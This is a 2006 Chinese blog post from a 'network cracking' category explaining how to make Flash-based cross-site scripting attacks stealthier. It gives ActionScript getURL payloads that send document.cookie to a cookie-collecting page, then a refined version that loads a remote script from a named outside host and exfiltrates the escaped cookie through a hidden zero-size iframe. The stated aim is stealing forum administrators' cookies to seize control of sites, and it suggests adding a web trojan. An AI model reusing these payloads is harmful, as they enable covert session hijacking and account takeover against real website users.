欢迎光临

木子屋

标题: 防止Flash跨站攻击弹出IE窗口

作者: admin

日期: 2006-06-28 09:52 AM

分类: 网络破解

内容: 前些天一直忙着学习WIN32汇编，一直懒得写文章，这些天来好像Flash跨站攻击闹的挺凶的，但在实施Flash跨站攻击时的那个弹出的IE窗口很容易引起别人的怀疑，而使得Flash跨站攻击失败，这的确让人多少有点头疼，大家是不是也一直在寻找实施Flash跨站攻击时不弹出IE窗口的方法来隐藏自己的攻击行为呢？下面大家和我一起来解决这个不大不小的问题，让Flash跨站攻击更完美吧！
一般来说大家在进行Flash跨站攻击时都是自己做一个Flash动画，并在第一帧中加入用于跳转到其他URL的AtionScript脚本函数，如下：
getURL("BLOCKED SCRIPTwindow.open(’http://用于收集Cookie的网页地址?’+document cookie)","_self") 然后把这个Flash动画置于论坛中的签名、贴子或短信消息中，用来获得管理员或用户的Cookie，从而得到管理权限，进一步伺机控制整个站点,最终达到自己的目的。我们可以看到在整个跨站攻击中最重要的就是这个AtionScript脚本啦！也就是这个脚本中用到的代码打开了一个我们又爱又恨的窗口，所以我们也只能从改造这个脚本代码来实现隐藏或者是去掉弹出的IE窗口，除此外别无它法！
我们先分析一下上面的AtionScript脚本，它使用AtionScript脚本函数"getURL"跳转到一个使用JavaScript协议的URL（JavaScript协议后面就是我们非常熟悉的JavaScript脚本代码），在JavaScript中使用document.cookie的到Cookie，并把Cookie和一个用于收集Cookie的网页地址连成一个http协议的URL地址，最后使用window.open打开合成的URL地址，从而把Cookie用GET方式发送到用于收集Cookie的网页，并记录下来。
通过上面的分析我们进一步了解那个弹出的IE窗口是由于JavaScript协议中的代码window.open所生成的，相信大家都知道window.open的第二个参数用来指定打开的窗口的名字，其通用名称有"_media （IE6.0 在浏览器左边的媒体面板内打开）"、"_blank （在新窗口中打开）"、"_parent （在当前框架的父框架内打开。假如当前框架无父框架，此参数值等同于 _self）"、"_search （IE5.0 在浏览器左边的搜索面板内打开）"、"_self（在当前窗口中打开，覆盖当前文档）"、"_top （在所有框架之外的最顶层窗口中打开 。假如当前窗口无框架结构，此参数值等同于 _self ）"等几种，如果我们以"_search"来打开窗口，不是就没有了弹出的IE窗口了吗？AtionScript脚本改为：
getURL("BLOCKED SCRIPTwindow.open(’http://用于收集Cookie的网页地址?’+document cookie,’_search’)","_self")
当然，这样做会打开搜索面板，也会引起怀疑，但却可以躲过那些关闭弹出窗口软件的追杀！姑且也算一种方法吧！
如果仅仅是上面所说的，相信不少读者要把我。。。。。。
看到这里聪明的你是不是想到了点解决的思路？对！既然支持JavaScript啦，还有啥东东会不能解决呢？JavaScript真的是好处多多呀！
如果你曾看了我的那篇"打造一个完美的ＩＥ网页木马"的文章，并且你对其中的代码深深理解的话，你可以自己先去想象一下啦！
在那篇文章中有下面这样一段代码：
jsurl="http://www.godog.y365.com/wodemuma/icyfox.js".replace(/\//g,’//’);
window.open("file:BLOCKED SCRIPTdocument.all.tags(’SCRIPT’)[0].src=’"+jsurl+"’;eval();","icyfoxlovelace");
使用了javascript协议把自己网站上的一个js代码文件插入到了本地文件中，同样的道理我们也可以用它把一个js代码文件插入到进行跨站攻击的论坛网页中，相应的AtionScript脚本改为：
getURL("BLOCKED SCRIPTdocument.all.tags(’SCRIPT’)[0].src=’http:\/\/www.godog.y365.com\/wodemuma\/icyfox.js’;eval();","_self")
其中icyfox.js得内容如下：
cookieurl="http://用于收集Cookie的网页地址?cookie="+escape(document.cookie);
/*这里使用了escape(）对cookie编码，用来防止cookie中的一些特殊字符*/
document.body.insertAdjacentHTML('beforeEnd','<iframe WIDTH=0px HEIGHT=0px style="display:none;" src="'+cookieurl+'"><\/iframe>');
/*这里使用了insertAdjacentHTML在body的最后插入了一个不可见的框架*/
这里主要是利用了可以在一个网页中引入不同域中的javascript代码文档，而且所引入的javascript代码文档会和本网页融为一体的特点！
好啦！至此Flash跨站攻击弹出IE窗口的问题算是解决啦！当然如果你愿意，在icyfox.js中加个网页木马之类的我也无话可说!
最后我再顺便说一句，它同样可以用于在其他类型的跨站脚本功击中隐藏弹出的IE窗口！比起利用Microsoft.XMLHTTP控件发送COOKIE要随意的多，因为它不会像Microsoft.XMLHTTP控件那样只能发给当前服务器，还有焦点上czy的"利用Microsoft.XMLHTTP控件发送COOKIE"一文中提到这样一句话：
"以前我想了一个在网页中用insertAdjacentHTML方法来注入HTML语句的办法勉强可以作到发送COOKIE不出现IE窗口，但是在实际使用中有时会遇到IE出错。"
具我分析是因为在COOKIE中存在了一些特殊字符，而czy没有正确处理或是编码，才会在实际使用中有时会遇到IE出错，所以上面代码我用了escape(）对cookie编码，在接受到cookie后请注意用unescape(）来解码！

+ 查看当前日志评论 (1)

登录

────────────

木子屋

PJBlog3 v3.2.9.518 Inside.

Processed In 0.598 ms

返回

标题: 防止Flash跨站攻击弹出IE窗口

你没有权限发表评论

────────────

木子屋

PJBlog3 v3.2.9.518 Inside.

Processed In 0.598 ms

返回

暂无评论

返回

────────────

木子屋

PJBlog3 v3.2.9.518 Inside.

Processed In 0.629 ms

返回